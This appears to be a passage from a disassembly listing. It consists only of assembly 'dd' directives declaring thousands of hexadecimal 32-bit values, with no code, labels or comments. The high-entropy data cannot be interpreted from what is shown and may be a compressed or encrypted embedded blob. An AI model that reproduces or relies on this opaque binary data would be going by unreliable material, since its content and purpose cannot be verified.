		dd 0BF706AF7h, 9532F028h
		dd 1711101Fh, 38E48F80h, 9A0BF76Ch, 724F04FEh, 5506442Ch
		dd 51009670h, 0A77BBC12h, 3861429h, 0BD0789A6h,	0C0F49AEAh
		dd 9CFB7F58h, 8D725812h, 0E02DD088h, 0E9590097h, 0C8D3D556h
		dd 0F6B88777h, 0C2698F00h, 77D3D0Bh, 0C74E02B0h, 689E0CBh
		dd 512D14F3h, 18307938h, 0A0DE07F8h, 527EF521h,	4AC262FDh
		dd 467E0056h, 18E3964h,	47E49DEAh, 2F2AD989h, 348237Ch
		dd 5E42AF75h, 89B3D4E0h, 4EFCE500h, 23BA15E9h, 83509B7h
		dd 981D6824h, 809D2A11h, 0F00C3E41h, 0A71714CFh, 3898332Ch
		dd 8283B7C9h, 0F9ADF398h, 3FAB81Ch, 0B3CA71B2h,	23E0FF7Fh
		dd 9C90D509h, 0D041B145h, 0C6CAF02h, 78C17BCh, 55F73B78h
		dd 95755003h, 0CB00CFCEh, 76F8D8F4h, 4C310ABCh,	7C56708Ah
		dd 0D77C60F7h, 780B0FE4h, 0C565AF24h, 8879A5A4h, 55779600h
		dd 1F67EB1Ch, 4472316Ah, 0EE05906Eh, 9D0DA442h,	46E45C32h
		dd 0AE0040D5h, 0AA674BDh, 0F145C576h, 3A8BA870h, 0B2110E71h
		dd 0B45C1F05h, 0C64B3043h, 2FFDE39Eh, 8410D019h, 0ACBC8E16h
		dd 12B04094h, 60E2AEF9h, 19C0F8F7h, 231104h, 95E0B55Dh
		dd 0EFA0F5D8h, 29103530h, 0A23441h, 625EBDF4h, 0FFA0D1FDh
		dd 0F72A0401h, 4B66196Eh, 1002F842h, 3C2DE8CFh,	0C214E758h
		dd 4410190Ch, 0E242847Eh, 832038F4h, 8916BB46h,	0F26CA2ECh
		dd 12CF304Ah, 0D3CDCA02h, 5776B725h, 6A91649Dh,	0A15A9380h
		dd 0A504BCB5h, 98D365A9h, 0FBA00C0h, 50A0BFE6h,	0D0F3A7FAh
		dd 0DC0B7C00h, 0B357D235h, 0A4100139h, 187465FFh, 0D7598059h
		dd 82CE7361h, 5CD403A9h, 0B05D0FB5h, 80813FF1h,	0DEC85450h
		dd 0CB03BCA8h, 0CCD2FDD9h, 15FBB700h, 0A3F9BE7Eh, 0ED16010Bh
		dd 4C821BCBh, 80393135h, 0CA84F629h, 0A6E475h, 872096F3h
		dd 0D83C04F8h, 1800D678h, 4F365064h, 0F41BD1CEh, 1814654Eh
		dd 5563C067h, 9E12F6D7h, 0D8B5363Eh, 86C4D0h, 0B308CAE5h
		dd 5DCF023Ch, 2C12177Bh, 0AC313BB0h, 2838E49Ah,	0E3545301h
		dd 435B4560h, 11CE1A04h, 46E7C000h, 5599B4E1h, 0F7DB0088h
		dd 84D5772Fh, 567DEF3Eh, 0F6D039h, 58784DABh, 6FE2D3B2h
		dd 72004070h, 64B8D2DBh, 0A2C8B00Ch, 1860289Eh,	40403C1Dh
		dd 5E284645h, 0CF74386Fh, 10E6E40Ch, 0FD82049h,	465F1E74h
		dd 0C7F19C80h, 2E012157h, 0CA79ED35h, 5CD80937h, 7DD400DFh
		dd 0FC3D83A4h, 1C770CF3h, 9C3B6600h, 0D4DB7034h, 0B25A1490h
		dd 9D3044A0h, 0BCF38151h, 9A311760h, 6088E575h,	0C0B08028h
		dd 0AA1F8095h, 0EC0D7A4Dh, 0CDCC1846h, 3D6F408Dh, 0B158D530h
		dd 3C0AF3EAh, 0E39F0898h, 944C5406h, 30A25586h,	0B029E41Eh
		dd 106D590Ch, 0CED50D76h, 0F170CC1Dh, 18198AF9h, 448CC80h
		dd 5E501ADCh, 728610FDh, 9B141855h, 948534h, 0E5199951h
		dd 50CBDD60h, 487480A1h, 5B39FCC8h, 297A1699h, 452D0835h
		dd 0C927F29Eh, 0FB34B0A0h, 1F2F1C07h, 32B280F1h, 182006FDh
		dd 0B417CC00h, 618AE428h, 373B00C5h, 5F03EAF8h,	203BCE60h
		dd 1F3003Ch, 5C834D19h,	9F490094h, 9A2145CCh, 661CD325h
		dd 0A03E3C6h, 0E04672B9h, 6A0E537h, 0F7BF1954h,	21CF184h
		dd 0D1401D9Ah, 0C65917Bh, 3EF20EB9h, 0C7CC2106h, 28030811h
		dd 0CD1CF616h, 7FF097ECh, 0F37768h, 0F03D79ABh,	727BDD8Bh
		dd 8F80CF01h, 383F183Ch, 0E0A4830h, 794B4DEh, 798AAB46h
		dd 59A5600h, 0F42634Ah,	755E003Ah, 0B6169054h, 7300C9F2h
		dd 240E1F36h, 771764Ch,	77AC4A1Ch, 0D7007E5Bh, 1B40B381h
		dd 0AB00ECB8h, 263DB1D6h, 0FF7C0C1h, 0FAD4376Ch, 76D21EA0h
		dd 0D01EA974h, 0A4C08E83h, 0D6BAB7A1h, 3D0B7462h, 0E9873815h
		dd 94FF1713h, 0D12B8025h, 0AD01ECE6h, 0FDE3EE91h, 0A44019D5h
		dd 0E05016h, 0CC24F5C8h, 0B01D7AAFh, 0F0453Dh, 4B5EC327h
		dd 695EEE1h, 0C24E343Bh, 7B00381Ch, 0B6EA8257h,	221B945Eh
		dd 5C01A1C6h, 43A2CABCh, 9ADC3F6Fh, 527056h, 0EC3E74AEh
		dd 1E5BDB3h, 823F103h, 89D1AFEDh, 6AE0D925h, 8214099Fh
		dd 6020D602h, 9270F7C6h, 3FDC6654h, 36380300h, 1C5983D6h
		dd 888500FFh, 3DB2F36Eh, 0E41FC2BDh, 92DE57C5h,	781CC140h
		dd 4DA2F9h, 0BBE01421h,	0E810FA79h, 0F8CE9F07h,	5C5081B9h
		dd 4288DCh, 59A2F59Ch, 29961E63h, 885B7030h, 0A09D7Ah
		dd 3E974BA4h, 0A28F61AEh, 2F9656C0h, 0FE877CA7h, 0F9740098h
		dd 0C78B5871h, 0B4165AE8h, 1E0070CFh, 0B16273CCh, 0EEDD09C9h
		dd 7023FDECh, 20A891B5h, 3D3ED535h, 7626752Dh, 0D30183E7h
		dd 5A757AA5h, 53020h, 0EF849799h, 13D919Ch, 6D96A903h
		dd 0C85CCD13h, 1DB366BCh, 407DBEDBh, 2D4C23EFh,	0C503FBA0h
		dd 45B67044h, 80A9ABA1h, 6B3F6BEh, 0CE5F2B5h, 0F99820C6h
		dd 35FE7303h, 0CEE4E49h, 0B67B3F40h, 9406A28h, 0C76B0030h
		dd 0F34B3DE7h, 2100CFDBh, 7CBC71CDh, 1F462Fh, 0F1D3AC73h
		dd 6E8395EBh, 0F69F0712h, 422CB800h, 606B0Ah, 4C555C37h
		dd 8BAD2320h, 0B6AA5F01h, 9DB0691Bh, 8F19F840h,	1629026Bh
		dd 5A34319Eh, 59B6C480h, 0AF76E0ECh, 0BD00C9B8h, 0B1DEEE4Bh
		dd 3FEB735Ah, 0E4BA63B8h, 2400353Fh, 0F2C23C7h,	29F013F7h
		dd 1788CC60h, 0A1A0DF5h, 4C30B8A3h, 0C60101C4h,	0CC402075h
		dd 0E8032959h, 0C0ED0F7Ch, 0C814EB33h, 76B1955Bh, 0FD7739Bh
		dd 1A9928C3h, 0B5C04BCEh, 0A30F17FEh, 0BC0907E0h, 234995h
		dd 152D22FCh, 0D7D204F7h, 81C5553Ah, 0D09398ECh, 0BE0F2BBAh
		dd 431626E8h, 0D0F64B39h, 3F1EC14h, 0CDAEB017h,	0CB903BC7h
		dd 98E02FD8h, 8DE2A200h, 0AC68C4FDh, 0F44A0F31h, 1A803C89h
		dd 0CE019133h, 0D16CEE03h, 0C02C5CE5h, 0A0BE02h, 0F2838058h
		dd 7D41CF1Eh, 12EE23F6h, 5100227Fh, 9DD6AC2Ah, 0C870B8h
		dd 50FD1E7Bh, 57AD4792h, 0D2F2DD00h, 33244374h,	7C4F00C8h
		dd 162D0356h, 1700262Eh, 0FC39C936h, 1D8DEFAh, 3CA389D5h
		dd 20984C84h, 5B098DB0h, 1F8FBE5h, 59AEDDF9h, 0F2B2D050h
		dd 93F607B1h, 82658431h, 0C6C055E1h, 78037744h,	6F59CA1Ah
		dd 0A0185BB1h, 2700B769h, 8613F5B2h, 0E0205Eh, 0EE75CF96h
		dd 81121B99h, 254FF0Eh,	6FC8C008h, 0F068664Fh, 79EAB8h
		dd 0EE695763h, 1CC5141Ah, 0C9058AE0h, 37F5D5C8h, 0B17B9000h
		dd 0EECE890h, 0DF64CEAEh, 0E0A0FB07h, 0A42EF65Ch, 331F7077h
		dd 0D1CE0416h, 870F806Dh, 7D48BD5Ah, 9C4A0078h,	0C9189019h
		dd 0D800D15Dh, 0CEF2D423h, 629F5Eh, 74DA4606h, 0BA16A18Ah
		dd 32FD7D1Dh, 5091D447h, 0B390DB57h, 38843E90h,	0AF00AE7Fh
		dd 0B4D5E844h, 0E90007D3h, 0C00AC9ACh, 772B3AF8h, 0AF910E10h
		dd 0CF2037BDh, 82C406DBh, 0CA48C502h, 803D94FFh, 0A01C7BA4h
		dd 6EB10067h, 811ECF66h, 390F0851h, 0C19AA5F8h,	1F4FB74Bh
		dd 141C1880h, 866568C0h, 32D85001h, 406418A1h, 26259E8h
		dd 0CD9D1D35h, 38E8CC90h, 0A73BD04Ah, 0EC7006B1h, 2418E24Ch
		dd 18A789DDh, 49CA18BFh, 0D5743874h, 78534Ch, 3C1E3F7Dh
		dd 42D46A3h, 0F5E4E671h, 0CDF8C009h, 9800149Dh,	6B8ADCADh
		dd 0C09FB156h, 0ACCBFC48h, 4C002505h, 868FFE3h,	599BA75Eh
		dd 0E62CE4A9h, 42100084h, 5C870EACh, 78FE1B1Dh,	0CDE24540h
		dd 3AF344Bh, 4F98309Fh,	82CCFDC0h, 0B8605CD8h, 0C30F1EBAh
		dd 0AF15201Fh, 0C92C00F5h, 13142E21h, 40BE12FAh, 0BCAEBD30h
		dd 0D800E447h, 0F07C6D87h
		dd 0ED509Fh, 7E558AE1h,	45C588EEh, 0CEBCD00h, 0B80806ACh
		dd 0B57B04F7h, 0D009F199h, 4E842FCh, 0E670E900h, 7EA394F3h
		dd 76CB0F4h, 6D464C1h, 357630C8h, 0C0C0B73Bh, 0E075557Ah
		dd 7C9807Eh, 63B65E48h,	0A3035AC0h, 1DF18840h, 9F015h
		dd 0F44E42E9h, 15D321Ah, 1D44E73Ah, 440DC13h, 1D0DA739h
		dd 0F0C03A51h, 0F5AA4280h, 65A94F1Eh, 0E940EEE2h, 0B1E81626h
		dd 454C40F9h, 43967F1h,	831DED3Fh, 449576C7h, 0A9FFC03Fh
		dd 907B00D5h, 0E00A663Bh, 992E368Bh, 2B031970h,	989469C2h
		dd 1FE53h, 9765BE32h, 3C40790Bh, 0DA614F61h, 0C0FB5C1Ah
		dd 76B0C4BFh, 0CA7743Fh, 3917616Eh, 662EBAF1h, 2F07A4DEh
		dd 92CEF186h, 20B7691Ch, 0B0C0A187h, 1807EBB8h,	48B2CCA3h
		dd 34A0F9D9h, 0F00F38DCh, 9EE23CE9h, 91C580F9h,	0C232D4D3h
		dd 0BCFD37DDh, 7CBE8128h, 5C9083BAh, 0A1610BE2h, 0CDC8F499h
		dd 9FC6076Fh, 0A096EE58h, 0D911D4D1h, 0F63DE307h, 0FEA08477h
		dd 24B83779h, 959CDE8Eh, 0BE3B6462h, 0B2C43372h, 7B88B060h
		dd 88BA5CFDh, 5005DB0Ch, 0FF7707Ch, 58819519h, 0E90D7287h
		dd 1E5ACC40h, 6FDF33Dh,	4DAE51E2h, 47501B58h, 0D7F070FCh
		dd 1AF8AB96h, 0D1417560h, 0CC0E7Ah, 0A6375056h,	18F4465Dh
		dd 69299764h, 1113F821h, 1911A753h, 828417B1h, 9A297B00h
		dd 0D1011DFEh, 6F3E1E79h, 0D630415Bh, 0FF61003Ch, 897E19A7h
		dd 0A200C543h, 9EC00B6Ch, 0D2156Eh, 0C90A6BADh,	0B50770A6h
		dd 62875C09h, 19E58061h, 0EED4B4E9h, 4C9400DEh,	0AD1178F7h
		dd 7C1C939Fh, 9140EC07h, 0D602DC5Eh, 6070F10Eh,	0FE782EFDh
		dd 0B29D0474h, 0AABD028Ch, 0A96900A7h, 0E71E1243h, 0B0D8E803h
		dd 146F19h, 0B7DFD4A1h,	6555BCEDh, 5FCAE200h, 0D6DB979Bh
		dd 8576007Eh, 53ED7FCh,	9000F044h, 49D1BC1Bh, 7EFA639h
		dd 8427822Bh, 575BB08Bh, 0EB00C598h, 0CEFD59B5h, 704CBA5h
		dd 0D28D12BEh, 91A77078h, 0F9097DC7h, 206CB357h, 9305DF8Ch
		dd 0E1E300C8h, 0C3109E34h, 6CE2B5CBh, 2A4AF4F3h, 0D9D87603h
		dd 81BB6147h, 3024F01Dh, 64880073h, 3C985863h, 0B2506FFBh
		dd 9D065EA7h, 8A70F253h, 0A26B0320h, 0CA9E2393h, 87AC17C9h
		dd 0F5A922CEh, 0EEAA1FC0h, 803D0097h, 3E0A6369h, 0CA002FA0h
		dd 0E8409698h, 7259B2E9h, 0F01E1FEAh, 7D4E68Bh,	32E3B646h
		dd 74681F2Bh, 0F50002EAh, 38D923A9h, 4CA3B0h, 0AF222F9Ch
		dd 0F00C7A05h, 0EFAAF801h, 19D853A4h, 0B00A07D4h, 0E07A08h
		dd 0A190618Ah, 3AB14695h, 0A367AF00h, 0E9F1910Fh, 7F5A00F4h
		dd 84D8F6BAh, 0C92831D9h, 200F852h, 468B0AA8h, 4F426h
		dd 875BBBC5h, 0A458614Ch, 3E006076h, 7457BC89h,	1616049Ah
		dd 1DC12A0Bh, 9E408120h, 0F0BA78F9h, 0C8903AEAh, 0E804AA00h
		dd 0BCA5A902h, 7EE0C04Eh, 4B1BC415h, 310EF4F7h,	605DB7Ch
		dd 638855AAh, 0EE1E8C43h, 0E2F688B9h, 99133818h, 0A4936280h
		dd 37B24798h, 65B03Ch, 24F605A6h, 155F2Bh, 873A77DEh, 0BB4FECE3h
		dd 0D36C6101h, 41CD5337h, 0FC20B057h, 312D6B4h,	82AFABE8h
		dd 5000DC05h, 0C61C69D2h, 9ABACCh, 3CF35E25h, 3A3E75DBh
		dd 48DF0726h, 3BFC5180h, 24702Fh, 0FA5A17A3h, 1B753539h
		dd 924895ECh, 8A7E0F24h, 0F2A6278Bh, 0C8A41F90h, 0B11A0088h
		dd 0A2277BFDh, 3509AFC6h, 7646178h, 0D2B0B818h,	2CAD0299h
		dd 105D46h, 269BE73Fh, 0A4F06ECBh, 0E9764418h, 16DCA0Eh
		dd 0A1C6E066h, 20B2496Ah, 7A76DAE0h, 3E42F80h, 565A1A0Fh
		dd 5198E903h, 4330C73Bh, 0E7072048h, 0D0391FA6h, 62E6C72Ch
		dd 6E57D055h, 0EE09367Bh, 0CE5A2Dh, 98FF38F4h, 0AB509F9h
		dd 0AC6891D0h, 8B008259h, 163E1C2Eh, 0EDFEB2h, 90366AABh
		dd 273C8334h, 0DB8F311Eh, 0F100CA57h, 0D395C556h, 901C598Ah
		dd 0A7431E00h, 0D9310D03h, 4100F178h, 300AE5ADh, 11EED6h
		dd 19E7AB39h, 0B82B80D3h, 0F8E33C3Fh, 0F4C45D00h, 11A63601h
		dd 0AD5B021Bh, 0E6F25981h, 42AC4C0h, 40DC48h, 0AB46EEC5h
		dd 762E43h, 265EC325h, 0B033C81Ch, 0FE421601h, 7CD4D532h
		dd 7D305FC4h, 72A101DBh, 36F5E549h, 8FB020DAh, 53562607h
		dd 68914C0Dh, 5F09D86h,	988A7D02h, 25FEC04h, 76FBA172h
		dd 1840E04Bh, 6100B8EBh, 9D7C4DEEh, 7C029A1Ah, 0F52C00AEh
		dd 8395B623h, 0FF2E0B9Eh, 0CF9CD8EBh, 8E531E09h, 98B301D2h
		dd 0E9F8C9BAh, 784302B0h, 0E4675B7Bh, 61C6848h,	6E111D00h
		dd 569D2F96h, 247E0097h, 457DD83h, 6004BAC3h, 0ADB95217h
		dd 9810D080h, 1AA08345h, 53003A96h, 0EE4A5EBFh,	754BABh
		dd 0FDE64F28h, 61F732E0h, 30382E30h, 2D95DEh, 1535FA7Ah
		dd 2F9B2242h, 0AAFC7C01h, 93234518h, 1FE52080h,	0E7CFFEEDh
		dd 0CA02EB0Fh, 1094FE9h, 0CC0AF476h, 16A0C8ECh,	580E6Bh
		dd 0AD34C55Ch, 0D02A4026h, 0A70084F0h, 0A4CDFB67h, 381109h
		dd 0CA9C91AAh, 0EF49262Bh, 84002498h, 0CB31F5F7h, 1F2E0E89h
		dd 9F2945C2h, 8FA40003h, 0EB4E5195h, 1268700Ah,	8A0408EEh
		dd 0A5C02648h, 397BD3D8h, 3780C1BAh, 13E2272Ch,	340016A6h
		dd 0F2B62BACh, 77F14D7Dh, 37091E9Dh, 73C0C09Ch,	55101859h
		dd 1629F600h, 84E7DB4Ch, 0B7A600E4h, 0D7374217h, 0E000098Ch
		dd 4ECC88B0h, 4AFFF3h, 0EA1DB8BCh, 80D1CB5h, 0E4B09501h
		dd 0D5E60ECAh, 0A027C860h, 4C1EDAC6h, 0DC00D501h, 20E79119h
		dd 1300360Fh, 0F2B8F3CBh, 98788114h, 0ADE46Ah, 800C289Bh
		dd 9386D7EBh, 2566740Ch, 384F94D9h, 0F580BBF0h,	0A5F819E3h
		dd 1E00F229h, 0FD609CB5h, 0FF2EA4h, 2C5CC538h, 0AC4D77E5h
		dd 0C8FC6B00h, 4F7C0226h, 4771CEh, 35F5E686h, 0C37F10AEh
		dd 0B964FC00h, 0F2F0A991h, 0C8E2002Fh, 0FB558A2Ah, 0DE0035E3h
		dd 77B4BBCCh, 121FE111h, 44F7EC8Bh, 92ADF640h, 2C489D24h
		dd 44011733h, 7D309224h, 2080ABFBh, 6F4B80Dh, 0E300DFC8h
		dd 0ED71D21Ah, 0EEC731h, 73D402ECh, 169388D0h, 0B285948h
		dd 60A53CCDh, 48441F74h, 923F868Bh, 2DC6B000h, 85C7A7B3h
		dd 1EA2995Ch, 2B85DD61h, 0C0006DC3h, 51DC587Ch,	91860331h
		dd 0AF1A85C5h, 77A480A5h, 0D3005FB3h, 69D0B426h, 16993A50h
		dd 4FCBA81Ah, 0EC9D7110h, 57748064h, 56FC6978h,	4B5A0601h
		dd 0A168ABC3h, 0B126828h, 0B47821ECh, 1EAC3863h, 219E76D3h
		dd 485E674Ch, 8DE20022h, 0DE877F6Eh, 8C78DDC2h,	8F805A7Eh
		dd 91980ED4h, 320E935h,	9D6261CDh, 83C03B48h, 98B07B5Ah
		dd 20468Ah, 0D2D6FAEAh,	4728A880h, 98240F00h, 39AC7CD8h
		dd 354735Fh, 995C73FFh,	0A4E4DEDCh, 0D409EBC0h,	64FBD91Ch
		dd 1F144040h, 0E8AA08E5h, 1A612179h, 0A9227190h, 5FB5A140h
		dd 1848187Ch, 18A81C61h, 0F136DE67h, 80881899h,	0F8B10238h
		dd 0B7D10068h, 0BE47B258h, 4F28F9DBh, 252E8E4h,	64124A24h
		dd 8910149Fh, 3E9E078Bh, 0EB0659BEh, 2D850064h,	0D543242h
		dd 2096B8A0h, 0B171C54Fh, 383F84Fh, 0B0BE2FC9h,	1D7717CBh
		dd 0E3399E4h, 18B7B826h, 0F39D28FAh, 0F44D7301h, 0E9DAF107h
		dd 9ECF36F0h, 0E2A88010h, 65734631h, 344F54A0h,	9A773Eh
		dd 926CB8D2h, 7348D79Ch, 84BE05B0h, 1DFA99D8h, 0B1DA0198h
		dd 2A33D036h, 51190806h, 23E30008h, 60F95883h, 0E169EE50h
		dd 27AB0170h, 0CB61F6E4h, 494ADC40h, 4A37B6Bh, 0CE98840Eh
		dd 0BEE8C16Dh
		dd 2E582054h, 9FCA904h,	0FCC04EEFh, 45447Eh, 0F8AE1E1Ch
		dd 0A74F3B0Bh, 14464100h, 66C45BA2h, 0D5670F71h, 0D4814A30h
		dd 0C06C337Fh, 3800F142h, 276860B2h, 0F2941Ch, 89753036h
		dd 0A7FF5B98h, 0B9D37E00h, 58667D7h, 28B0A1h, 4E296A74h
		dd 0B025F29Fh, 401B3501h, 28F37D2Ch, 0DB83D8h, 0A2133287h
		dd 0DAB7C384h, 9866C00h, 830E0A91h, 265C0054h, 7E366682h
		dd 2000F935h, 0FEE6023h, 94ABAD5h, 460ED9ACh, 93722051h
		dd 43FE534h, 2C1F51E8h,	0DD04E237h, 0C0A8B33Bh,	98CBC10h
		dd 5075689Ah, 1F8122D4h, 50B2A222h, 44FD14D0h, 22849DE8h
		dd 0C442B026h, 21EA7011h, 0AF9E08A9h, 0B984F890h, 424548E9h
		dd 0EC248AF1h, 17ED4821h, 88454218h, 0A68B082Eh, 6D2932E5h
		dd 89810D10h, 44B70834h, 2A44F9D9h, 289D44B1h, 11DB28A9h
		dd 0D7112B15h, 115C129Ch, 2114422Eh, 24F2F111h,	0D0B52170h
		dd 3C82BD12h, 6424972Eh, 78654140h, 4F05A3FCh, 5789D6E6h
		dd 4EA5FE80h, 840F00D7h, 0EC30BC2Fh, 0CD2E69A2h, 0E2005F33h
		dd 0D668470Bh, 0FB540038h, 556109EAh, 7C07646Bh, 4DCC9F37h
		dd 4020D2A0h, 94560474h, 0E0BA41C9h, 0D800F23Ch, 0E406B8B3h
		dd 14C8AFh, 0CE3BA8E7h,	45120EA5h, 2AEBCF00h, 0D003AA06h
		dd 0EE3F0046h, 5BDC53ABh, 1900C415h, 0F8D226CDh, 30646E86h
		dd 2A11717Dh, 0C1FC350Ah, 0FE923D00h, 0B53B8637h, 3CBC0047h
		dd 89882373h, 0B000338Eh, 0EF9F3851h, 95030B9h,	0A2680214h
		dd 0A4406424h, 0E100FEC8h, 5F7EF308h, 0B8B955AEh, 0B65E1254h
		dd 0F6D480C5h, 63178FA4h, 0BC0079DCh, 0A01EA77Eh, 4E680025h
		dd 9FF41A28h, 4A046163h, 0D49D8342h, 88A5E9C0h,	90B5B26h
		dd 50E0D1E4h, 6CB976FAh, 39405D1Eh, 0B12E43A0h,	9AEF0F24h
		dd 9F00A845h, 0AA361CA3h, 83388095h, 0BAB59481h, 47CC0760h
		dd 0B23062Bh, 0E8BD50C1h, 0C2E89B7Ah, 9C807100h, 106192E3h
		dd 0C9E803CAh, 2C0D7222h, 57C6D000h, 774DCE7Dh,	51AF00FAh
		dd 5BE890AEh, 0F038762h, 0ABB3B7F3h, 0A67AF0EBh, 706D0047h
		dd 6CACBD4Dh, 0D300C6FCh, 1DC40171h, 7E6B5DA0h,	0CAF30A69h
		dd 0B08432h, 0B03CA906h, 84958B5Fh, 58AC9B50h, 80A38A1Dh
		dd 0B430B348h, 0EE020568h, 7CD3B854h, 3C28785Eh, 7780BD59h
		dd 0C9DD8566h, 0F924E8F2h, 0D1003C3Ah, 0D0254595h, 0FE8E0059h
		dd 0BECA8CA8h, 4F00D7F1h, 4710719Bh, 0FD1E3Fh, 0AEE23B72h
		dd 0EF067B8Eh, 9541D05h, 0EC40F882h, 96BE1325h,	727B40A6h
		dd 0D9458500h, 8E030F9h, 0A4B8C6h, 9E27FF23h, 0DA9F5A3h
		dd 214D4DFAh, 1872588h,	65CDB17Ch, 0CEECB8F7h, 670FCACh
		dd 0DD12B596h, 50FA1198h, 2262BA1Ch, 69630680h,	10EBFDh
		dd 269D7314h, 0DF3142BFh, 0B3359300h, 2AC18F70h, 0AE180711h
		dd 40D0BA4Ah, 0E3F97495h, 0B659100h, 0B3CFA00Fh, 14773A3Dh
		dd 0C4E2010Ah, 9C3A01E8h, 8387A4ACh, 21DFD9D8h,	363CD891h
		dd 0E7240977h, 0F87041FEh, 557C4600h, 0F2DFC101h, 39150FEAh
		dd 0B6817ED3h, 0DCF181A1h, 0C3E058D8h, 0D9AD1C00h, 2EA66966h
		dd 830A28A2h, 1F1EC84h,	0E33768F4h, 0D0355F6Ah,	392666F6h
		dd 300F1BE2h, 2069E0DBh, 0AC45CDh, 0C6A45B3Fh, 0F2043B1Fh
		dd 899060E4h, 61353D1Dh, 3C58947Bh, 0ED2909F8h,	8F88596Dh
		dd 0D5E05270h, 80284389h, 0D4807CB4h, 0CCAA9277h, 0EDE70108h
		dd 0D36D3F7Fh, 698AF4DCh, 0D13B0700h, 8059CAB0h, 8E9CA1F5h
		dd 0FB53F0h, 0AD4531E7h, 0E86FA4DDh, 9C56EA00h,	265EAF68h
		dd 0C7900086h, 0D8A5AB36h, 0B5008142h, 0C2172159h, 6EC84Dh
		dd 827F990Dh, 7631CF1h,	0B9F9E100h, 0C295F3B5h,	0D9FA0004h
		dd 2DB63888h, 200A511h,	0CD9E7525h, 4820C2A6h, 0E30028C7h
		dd 0E773D418h, 0EB12CC08h, 0C0C302DFh, 0E0E2F00Dh, 32F6801Ah
		dd 0FA80009Eh, 0A0801BA7h, 65F50452h, 0C0192FC3h, 7A50CD51h
		dd 3E095C02h, 0D99A9FB0h, 808D0490h, 0D69CB01Bh, 88762500h
		dd 62201AA7h, 0DDBB0C03h, 0A621EC10h, 0F959220Fh, 0C9F220B5h
		dd 1A43AE7h, 0B3DB40Fh,	0F21EAE06h, 0C44B8880h,	0F8A105E2h
		dd 0F49AED20h, 5E12CB37h, 0A00E3A6h, 81109BB3h,	7E680077h
		dd 0E25212D8h, 13040864h, 5C6B2497h, 0A80E34C3h, 94BCBFh
		dd 509EF256h, 8FCE4E2Ch, 0DD0B3426h, 37AD9100h,	115E3Dh
		dd 0AACA6FBAh, 0A99E749Fh, 3A1E1000h, 360F5876h, 3F9900CEh
		dd 7BB281FBh, 147FAD88h, 39DA6000h, 1933FD7Dh, 6FEA000Fh
		dd 0DECDD48h, 6500A542h, 6B8599F9h, 896602h, 0B1ABB840h
		dd 8A5F7CD7h, 0BDE37500h, 73C6F6C8h, 0B09FFC15h, 31C20E2Ch
		dd 492C9611h, 371CA63Ah, 4E419813h, 2FA76901h, 4BA12081h
		dd 0FC74BABDh, 6600A6C8h, 73A5CA0Dh, 0CED112h, 54ACFF68h
		dd 4F4D5A9Fh, 0E1116609h, 0AB389039h, 87E30033h, 74B05292h
		dd 420B8166h, 19D018h, 9D69A194h, 38F00CDh, 5C1A1E39h
		dd 0C2E411ECh, 0DBE04B00h, 522368E5h, 0A5EC33h,	8510D77Ch
		dd 0BE1F012Eh, 0F2303900h, 8EA94425h, 3DFB004Ch, 0C104959Bh
		dd 0E5013673h, 2E3F8A48h, 97F4A866h, 217400FBh,	65661D0h
		dd 0C501FAF1h, 8C9A20FFh, 9CC4A112h, 77490C9h, 5F488467h
		dd 0EF389064h, 4600AE73h, 4F816A6Dh, 0C08674F6h, 779E6720h
		dd 0C679A21Fh, 0F4A81B00h, 0F1AD2E94h, 0A623008Fh, 74A19BF2h
		dd 74905795h, 0C63BAC01h, 36160599h, 266BADCCh,	40D7F3h
		dd 0C789FA37h, 0B00EE5Bh, 95DB541h, 0A27418FCh,	27C040A0h
		dd 350E0002h, 2E12F9D7h, 7A01E626h, 4F83AB54h, 0A8300CECh
		dd 305FA24h, 14084693h,	0C0FC7537h, 0B7924B06h,	8200C398h
		dd 8DE1D4BCh, 9097EF9Ch, 43C00025h, 2AB811EBh, 480070C1h
		dd 6D7C4A73h, 1CE901A1h, 80A8CC1Bh, 22E067F9h, 0BF01FAC3h
		dd 0CF7E8DCh, 90C03476h, 8ABE005Bh, 887559C0h, 300FD56h
		dd 674A96BDh, 23E13Ah, 1177E0DFh, 56CE8BB9h, 9BDA0300h
		dd 0BBC2057Fh, 0B6021C55h, 4B1CC093h, 4C26DBFBh, 52C8A201h
		dd 2975F5B2h, 1C00A078h, 0C53150AFh, 5A1792D1h,	0A112E5D2h
		dd 0D936F800h, 2F5D6Ch,	3D72F2DBh, 31636ECBh, 6BF3DA0Bh
		dd 61798738h, 0A4E0B547h, 2ACA347h, 3C93778Eh, 38604CA9h
		dd 8D027596h, 0B0382299h, 81F8603Dh, 25F50045h,	0AF0965D4h
		dd 0A490CD6Eh, 0C0B47125h, 481EEBB8h, 53165655h, 6CE40359h
		dd 13E81C3Ch, 2C9ACA63h, 2E350D02h, 40F2662Bh, 37D5120h
		dd 0E070673Fh, 22D22F1Fh, 84C7D283h, 359580B8h,	0FFF73800h
		dd 46D13DCBh, 442D0079h, 687DDC6Dh, 93000F53h, 10250358h
		dd 55B5A0h, 0D5F34115h,	32996E9Dh, 22072100h, 0F83E20A4h
		dd 0FD28182Fh, 0DE51605h, 2EA92600h, 0E98137E3h, 24AE128Bh
		dd 0DF8800CAh, 0EBE7D01Ch, 6090460h, 5AF175CEh,	81BC1609h
		dd 2B36FAF0h, 539E5841h, 0F6C4BCF0h, 16C91E4h, 3CE9E3BAh
		dd 9488245Dh, 9909A373h, 0A0ABD01Dh, 0AC9666E8h, 287E7Ch
		dd 2AEAEE58h, 20A70E6Eh, 0B47ABE0Fh, 2FD380A2h,	943EAAA8h
		dd 0DBF70130h, 0C97461F5h, 0B8CE7064h, 0B00D3F0h, 0E4F8CEDFh
		dd 0FF086A0h, 367694Bh,	452A9060h, 0D8F474E7h, 410C0CE8h
		dd 309D641Ch, 0C1501746h, 0D93C80A9h, 0B7070A59h, 793E578Dh
		dd 8E6B802Eh, 735C595h,	0AC9D4862h, 0E091D790h,	0B9164B9Eh
		dd 0B6C72C02h, 0DA1792B0h, 0AEF02078h, 8DB57E0Eh, 75D5201Ah
		dd 38BB42E2h, 0CA831C8Fh
		dd 0B344E578h, 0C0052000h, 87F01E4Ch, 0EA22174Bh, 966C8089h
		dd 0EC072B54h, 0BC0288Bh, 0C40F139Fh, 0FBAE80A5h, 179403h
		dd 0E51A5A34h, 0D1402C1Fh, 13EDF71Dh, 0D8ABF400h, 0EA2123CAh
		dd 0D0CE0053h, 0F346E58Ch, 0DC00B1CBh, 9872F7E7h, 749AA3Bh
		dd 427A44A1h, 7113515Bh, 0F19EC030h, 2AF1712h, 51BE4C00h
		dd 303DC127h, 9411CAE4h, 5D006FD0h, 0D437F4AEh,	50DE6404h
